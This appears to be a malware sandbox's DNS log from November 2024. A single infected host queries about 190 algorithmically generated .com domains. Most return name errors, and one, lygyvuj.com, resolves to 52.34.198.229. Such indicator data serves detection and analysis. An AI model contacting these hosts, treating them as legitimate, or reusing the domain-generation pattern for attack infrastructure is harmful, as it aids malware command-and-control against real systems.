Nov 11, 2024 18:50:44.656615973 CET	1.1.1.1	192.168.2.6	0x1ba3	Name error (3)	lyvymej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.658459902 CET	1.1.1.1	192.168.2.6	0x3ecd	Name error (3)	qekyfiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.659562111 CET	1.1.1.1	192.168.2.6	0x3282	Name error (3)	lysyxar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.660259962 CET	1.1.1.1	192.168.2.6	0x31c6	Name error (3)	pupyxal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.661329031 CET	1.1.1.1	192.168.2.6	0xbcae	Name error (3)	qegysyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.662357092 CET	1.1.1.1	192.168.2.6	0x3132	Name error (3)	vojyduf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.663065910 CET	1.1.1.1	192.168.2.6	0x7fb2	Name error (3)	qetylip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.663078070 CET	1.1.1.1	192.168.2.6	0x3a7	Name error (3)	qedyxel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.674140930 CET	1.1.1.1	192.168.2.6	0x3045	Name error (3)	vocymak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.675148964 CET	1.1.1.1	192.168.2.6	0x1b61	Name error (3)	lykyfud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.677011967 CET	1.1.1.1	192.168.2.6	0x866a	Name error (3)	pujyduv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.684813023 CET	1.1.1.1	192.168.2.6	0x48fe	Name error (3)	gahydyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.686630011 CET	1.1.1.1	192.168.2.6	0xa585	Name error (3)	gacynow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.694966078 CET	1.1.1.1	192.168.2.6	0xa374	Name error (3)	pumywug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.754394054 CET	1.1.1.1	192.168.2.6	0xe3fe	No error (0)	lygyvuj.com		52.34.198.229	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.530042887 CET	1.1.1.1	192.168.2.6	0x21e5	Name error (3)	lysytoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.533552885 CET	1.1.1.1	192.168.2.6	0x363d	Name error (3)	galyvuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.534465075 CET	1.1.1.1	192.168.2.6	0xcad	Name error (3)	lyxynir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.536509037 CET	1.1.1.1	192.168.2.6	0x74b3	Name error (3)	vofypam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.537887096 CET	1.1.1.1	192.168.2.6	0x1c26	Name error (3)	qeqykyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.541891098 CET	1.1.1.1	192.168.2.6	0x87a6	Name error (3)	ganyhab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.543771029 CET	1.1.1.1	192.168.2.6	0xa195	Name error (3)	qedytoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.543783903 CET	1.1.1.1	192.168.2.6	0x7044	Name error (3)	lymyjyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.543790102 CET	1.1.1.1	192.168.2.6	0xdd39	Name error (3)	puzybil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.544249058 CET	1.1.1.1	192.168.2.6	0x2a50	Name error (3)	volybut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.546917915 CET	1.1.1.1	192.168.2.6	0x9121	Name error (3)	vonyjef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.555164099 CET	1.1.1.1	192.168.2.6	0x209b	Name error (3)	puvygog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.557295084 CET	1.1.1.1	192.168.2.6	0xe0ce	Name error (3)	gahyces.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.559979916 CET	1.1.1.1	192.168.2.6	0x7586	Name error (3)	gadypah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.587096930 CET	1.1.1.1	192.168.2.6	0x27e0	Name error (3)	pumyjev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.609327078 CET	1.1.1.1	192.168.2.6	0xb6ad	Name error (3)	gatyruw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.610429049 CET	1.1.1.1	192.168.2.6	0x8924	Name error (3)	vojycec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.610507965 CET	1.1.1.1	192.168.2.6	0xf747	Name error (3)	lykyvyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.610882998 CET	1.1.1.1	192.168.2.6	0x2a06	Name error (3)	pupytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.610893011 CET	1.1.1.1	192.168.2.6	0xeaa7	Name error (3)	pujycyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.610918045 CET	1.1.1.1	192.168.2.6	0x53b2	Name error (3)	qekyvup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.618309021 CET	1.1.1.1	192.168.2.6	0x96b3	Name error (3)	vopyrik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.618377924 CET	1.1.1.1	192.168.2.6	0xe894	Name error (3)	vocybuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.630563021 CET	1.1.1.1	192.168.2.6	0x361b	Name error (3)	gacyfih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.630585909 CET	1.1.1.1	192.168.2.6	0xddef	Name error (3)	qebyhag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.631377935 CET	1.1.1.1	192.168.2.6	0x2855	Name error (3)	lyvygon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.631393909 CET	1.1.1.1	192.168.2.6	0xa2ab	Name error (3)	vowyqyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.632917881 CET	1.1.1.1	192.168.2.6	0x3169	Name error (3)	qetyrul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.633564949 CET	1.1.1.1	192.168.2.6	0xe2c1	Name error (3)	gahypoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.634763956 CET	1.1.1.1	192.168.2.6	0xbc09	Name error (3)	lyrywur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.646739960 CET	1.1.1.1	192.168.2.6	0x3f8d	Name error (3)	puryjeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.656425953 CET	1.1.1.1	192.168.2.6	0x6ef	Name error (3)	lygyxad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.659848928 CET	1.1.1.1	192.168.2.6	0x8ed0	Name error (3)	lymymax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.660077095 CET	1.1.1.1	192.168.2.6	0x4ec9	Name error (3)	vocygim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.661211967 CET	1.1.1.1	192.168.2.6	0x10fe	Name error (3)	vofyzof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.662105083 CET	1.1.1.1	192.168.2.6	0x4a4b	Name error (3)	qeqyqep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.662133932 CET	1.1.1.1	192.168.2.6	0x43ae	Name error (3)	lyxyfuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.663624048 CET	1.1.1.1	192.168.2.6	0x918f	Name error (3)	puzyduq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667309046 CET	1.1.1.1	192.168.2.6	0x2931	Name error (3)	gadyzib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.674901009 CET	1.1.1.1	192.168.2.6	0x8f06	Name error (3)	qekysel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.674932003 CET	1.1.1.1	192.168.2.6	0x9da4	Name error (3)	pupylug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.676162958 CET	1.1.1.1	192.168.2.6	0x8d1b	Name error (3)	qexyfuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.676605940 CET	1.1.1.1	192.168.2.6	0xf2b4	Name error (3)	volydyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.676700115 CET	1.1.1.1	192.168.2.6	0xeac1	Name error (3)	lyryjej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.676717997 CET	1.1.1.1	192.168.2.6	0x2431	Name error (3)	lykyser.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.677752018 CET	1.1.1.1	192.168.2.6	0x8b4e	Name error (3)	gaqyqez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.678745985 CET	1.1.1.1	192.168.2.6	0x5d64	Name error (3)	qedylig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.678761005 CET	1.1.1.1	192.168.2.6	0x5cdf	Name error (3)	pujypal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.678774118 CET	1.1.1.1	192.168.2.6	0xbbc6	Name error (3)	pufyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.679256916 CET	1.1.1.1	192.168.2.6	0xb2cc	Name error (3)	lyvynid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.679584026 CET	1.1.1.1	192.168.2.6	0x661a	Name error (3)	vonymoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.680428028 CET	1.1.1.1	192.168.2.6	0x30e9	Name error (3)	qegytop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.680442095 CET	1.1.1.1	192.168.2.6	0xe56b	Name error (3)	qebyniv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.682497025 CET	1.1.1.1	192.168.2.6	0x41b6	Name error (3)	vojypat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.684928894 CET	1.1.1.1	192.168.2.6	0xb2e	Name error (3)	qegyxav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.689199924 CET	1.1.1.1	192.168.2.6	0x872d	Name error (3)	gatykyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.698009968 CET	1.1.1.1	192.168.2.6	0xc0dc	Name error (3)	purywyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.698302984 CET	1.1.1.1	192.168.2.6	0x3e8c	Name error (3)	galydyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.698314905 CET	1.1.1.1	192.168.2.6	0xea5c	Name error (3)	vopykum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.698888063 CET	1.1.1.1	192.168.2.6	0xeb80	Name error (3)	lysylun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.698900938 CET	1.1.1.1	192.168.2.6	0x6722	Name error (3)	ganynos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.700169086 CET	1.1.1.1	192.168.2.6	0x87bd	Name error (3)	pumymap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.700561047 CET	1.1.1.1	192.168.2.6	0x551f	Name error (3)	qetykyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.757249117 CET	1.1.1.1	192.168.2.6	0x750d	Name error (3)	puvybuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.796566010 CET	1.1.1.1	192.168.2.6	0x2542	Name error (3)	gacyvub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.797636986 CET	1.1.1.1	192.168.2.6	0x1c12	Name error (3)	lyxyvyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.801680088 CET	1.1.1.1	192.168.2.6	0xddf8	Name error (3)	puzyceg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.802678108 CET	1.1.1.1	192.168.2.6	0xd465	Name error (3)	gaqyhaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.802767038 CET	1.1.1.1	192.168.2.6	0x3a9a	Name error (3)	vofyruc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.803181887 CET	1.1.1.1	192.168.2.6	0xff3d	Name error (3)	lymygor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.806375980 CET	1.1.1.1	192.168.2.6	0x1a1e	Name error (3)	pupywyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.806386948 CET	1.1.1.1	192.168.2.6	0x9edd	Name error (3)	volycem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.806397915 CET	1.1.1.1	192.168.2.6	0x794f	Name error (3)	qetyhov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.808563948 CET	1.1.1.1	192.168.2.6	0x28ee	Name error (3)	vojyrum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.808851004 CET	1.1.1.1	192.168.2.6	0x38a5	Name error (3)	pumygil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.809286118 CET	1.1.1.1	192.168.2.6	0x909f	Name error (3)	lyvyver.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.813011885 CET	1.1.1.1	192.168.2.6	0x572a	Name error (3)	qebyvyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.816637039 CET	1.1.1.1	192.168.2.6	0xcbc	Name error (3)	gadyrus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.818676949 CET	1.1.1.1	192.168.2.6	0x543d	Name error (3)	lygytix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.820497990 CET	1.1.1.1	192.168.2.6	0xa0c3	Name error (3)	ganyvyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.820513964 CET	1.1.1.1	192.168.2.6	0x91e1	Name error (3)	pupyjap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.821110010 CET	1.1.1.1	192.168.2.6	0x26de	Name error (3)	lykytin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.822712898 CET	1.1.1.1	192.168.2.6	0xdb5b	Name error (3)	vopyjac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.822884083 CET	1.1.1.1	192.168.2.6	0x6c7b	Name error (3)	pufytip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.824417114 CET	1.1.1.1	192.168.2.6	0x8faa	Name error (3)	pujytug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.824428082 CET	1.1.1.1	192.168.2.6	0xc297	Name error (3)	qeqyhol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.825795889 CET	1.1.1.1	192.168.2.6	0xbdc0	Name error (3)	qexyvyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.827249050 CET	1.1.1.1	192.168.2.6	0x4aa7	Name error (3)	vowyjak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.828551054 CET	1.1.1.1	192.168.2.6	0xd4e	Name error (3)	qedyruv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.828564882 CET	1.1.1.1	192.168.2.6	0x3075	Name error (3)	galycah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.835665941 CET	1.1.1.1	192.168.2.6	0x864e	Name error (3)	gatyhos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.838603973 CET	1.1.1.1	192.168.2.6	0xa70e	Name error (3)	lymynuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.841559887 CET	1.1.1.1	192.168.2.6	0x412f	Name error (3)	vonybuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.855859995 CET	1.1.1.1	192.168.2.6	0x7d0d	Name error (3)	qexysev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.910798073 CET	1.1.1.1	192.168.2.6	0x62e3	Name error (3)	gadykyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.915688038 CET	1.1.1.1	192.168.2.6	0xbc19	Name error (3)	galypob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.918284893 CET	1.1.1.1	192.168.2.6	0xe03	Name error (3)	lyxysad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.921377897 CET	1.1.1.1	192.168.2.6	0x7960	Name error (3)	pufylul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.922473907 CET	1.1.1.1	192.168.2.6	0x6b8a	Name error (3)	vofykyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.922626019 CET	1.1.1.1	192.168.2.6	0xffb3	Name error (3)	pumybuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.922782898 CET	1.1.1.1	192.168.2.6	0x9118	Name error (3)	lysyjex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.922794104 CET	1.1.1.1	192.168.2.6	0x66c0	Name error (3)	vowymom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.923537970 CET	1.1.1.1	192.168.2.6	0xc1d4	Name error (3)	qekytig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.923552036 CET	1.1.1.1	192.168.2.6	0xd8a1	Name error (3)	volypof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.923664093 CET	1.1.1.1	192.168.2.6	0x42c7	Name error (3)	qeqyniq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.924767017 CET	1.1.1.1	192.168.2.6	0x357	Name error (3)	puzypav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.924849987 CET	1.1.1.1	192.168.2.6	0x5655	Name error (3)	qedykep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.928200960 CET	1.1.1.1	192.168.2.6	0x6771	Name error (3)	vojyzik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.928323984 CET	1.1.1.1	192.168.2.6	0x3512	Name error (3)	qekyxaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.929644108 CET	1.1.1.1	192.168.2.6	0x59f2	Name error (3)	qebyfup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.931513071 CET	1.1.1.1	192.168.2.6	0x7270	Name error (3)	lygylur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.933039904 CET	1.1.1.1	192.168.2.6	0xdcdd	Name error (3)	gaqynih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.935937881 CET	1.1.1.1	192.168.2.6	0x259b	Name error (3)	vopyqef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.936064959 CET	1.1.1.1	192.168.2.6	0x7153	Name error (3)	gahyziw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.938730001 CET	1.1.1.1	192.168.2.6	0x97ca	Name error (3)	lyvyfux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.943284988 CET	1.1.1.1	192.168.2.6	0x2942	Name error (3)	puvydyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.953392982 CET	1.1.1.1	192.168.2.6	0x624b	Name error (3)	ganyfuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.955266953 CET	1.1.1.1	192.168.2.6	0xb230	Name error (3)	lykyxoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.955286026 CET	1.1.1.1	192.168.2.6	0x1ee	Name error (3)	vonygit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.955948114 CET	1.1.1.1	192.168.2.6	0xbef	Name error (3)	vocydyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.957012892 CET	1.1.1.1	192.168.2.6	0x1f27	Name error (3)	qetyqag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.957695961 CET	1.1.1.1	192.168.2.6	0x8411	Name error (3)	gatyqeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.958204985 CET	1.1.1.1	192.168.2.6	0x2629	Name error (3)	qegylul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.958395958 CET	1.1.1.1	192.168.2.6	0x576f	Name error (3)	pujyxoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.961678028 CET	1.1.1.1	192.168.2.6	0x9fc0	Name error (3)	purymog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.961692095 CET	1.1.1.1	192.168.2.6	0x5789	Name error (3)	lyryman.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.964258909 CET	1.1.1.1	192.168.2.6	0x7d88	Name error (3)	lysywyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.978404999 CET	1.1.1.1	192.168.2.6	0xae77	Name error (3)	gacydes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.166575909 CET	1.1.1.1	192.168.2.6	0xa8bb	Name error (3)	gahyruh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.166663885 CET	1.1.1.1	192.168.2.6	0xe0c3	Name error (3)	lyrygid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.167819023 CET	1.1.1.1	192.168.2.6	0xfd8b	Name error (3)	qegyryq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.169189930 CET	1.1.1.1	192.168.2.6	0x133e	Name error (3)	gacycaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.187880039 CET	1.1.1.1	192.168.2.6	0x559e	Name error (3)	puvycel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.189479113 CET	1.1.1.1	192.168.2.6	0xb1e5	Name error (3)	vocycat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.192081928 CET	1.1.1.1	192.168.2.6	0x5f2f	Name error (3)	purygiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.194215059 CET	1.1.1.1	192.168.2.6	0xba8	Name error (3)	gaqyfub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.194581985 CET	1.1.1.1	192.168.2.6	0x8d9	Name error (3)	lyxyxox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.194704056 CET	1.1.1.1	192.168.2.6	0x98dc	Name error (3)	lygywyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.194721937 CET	1.1.1.1	192.168.2.6	0xec4b	Name error (3)	puzyxip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.194818020 CET	1.1.1.1	192.168.2.6	0xb8ae	Name error (3)	vofyqek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.203102112 CET	1.1.1.1	192.168.2.6	0x8e00	Name error (3)	lymyfyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.204380035 CET	1.1.1.1	192.168.2.6	0x20b7	Name error (3)	pufyweq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.217792988 CET	1.1.1.1	192.168.2.6	0xff6c	Name error (3)	qeqyfug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.218482971 CET	1.1.1.1	192.168.2.6	0xf8cb	Name error (3)	qexyxop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.218996048 CET	1.1.1.1	192.168.2.6	0x9f43	Name error (3)	gacypiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.224435091 CET	1.1.1.1	192.168.2.6	0xd4d7	Name error (3)	lyxytur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.226389885 CET	1.1.1.1	192.168.2.6	0x7fb0	Name error (3)	pupymol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.232094049 CET	1.1.1.1	192.168.2.6	0xb37	Name error (3)	gatyniz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.237584114 CET	1.1.1.1	192.168.2.6	0x5995	Name error (3)	pufyjag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.240511894 CET	1.1.1.1	192.168.2.6	0x5eb5	Name error (3)	gaqyvys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.257287979 CET	1.1.1.1	192.168.2.6	0xf82	Name error (3)	pujylyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.258016109 CET	1.1.1.1	192.168.2.6	0x8b75	Name error (3)	lygyjan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.258124113 CET	1.1.1.1	192.168.2.6	0x12ae	Name error (3)	lyvysaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.258737087 CET	1.1.1.1	192.168.2.6	0x41d	Name error (3)	puvypoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.258749962 CET	1.1.1.1	192.168.2.6	0x7a08	Name error (3)	vojykyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.258958101 CET	1.1.1.1	192.168.2.6	0xd396	Name error (3)	gahykeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.258981943 CET	1.1.1.1	192.168.2.6	0xe44e	Name error (3)	qegykeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.258991957 CET	1.1.1.1	192.168.2.6	0x530b	Name error (3)	galyzus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.259037018 CET	1.1.1.1	192.168.2.6	0x6a0c	Name error (3)	vocypok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.260401011 CET	1.1.1.1	192.168.2.6	0x8aa7	Name error (3)	lyrynux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.260999918 CET	1.1.1.1	192.168.2.6	0xc316	Name error (3)	vofyjom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.265405893 CET	1.1.1.1	192.168.2.6	0x10bc	Name error (3)	vonydem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.265758038 CET	1.1.1.1	192.168.2.6	0xb5e4	Name error (3)	vopymit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.265769005 CET	1.1.1.1	192.168.2.6	0x9bb4	Name error (3)	gadyqaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.265981913 CET	1.1.1.1	192.168.2.6	0x4844	Name error (3)	qekyluv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.267133951 CET	1.1.1.1	192.168.2.6	0xe9e9	Name error (3)	lykylud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.278588057 CET	1.1.1.1	192.168.2.6	0xe36	Name error (3)	pumydyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.280002117 CET	1.1.1.1	192.168.2.6	0x6940	Name error (3)	qetynup.com	none	none	A (IP address)	IN (0x0001)	false
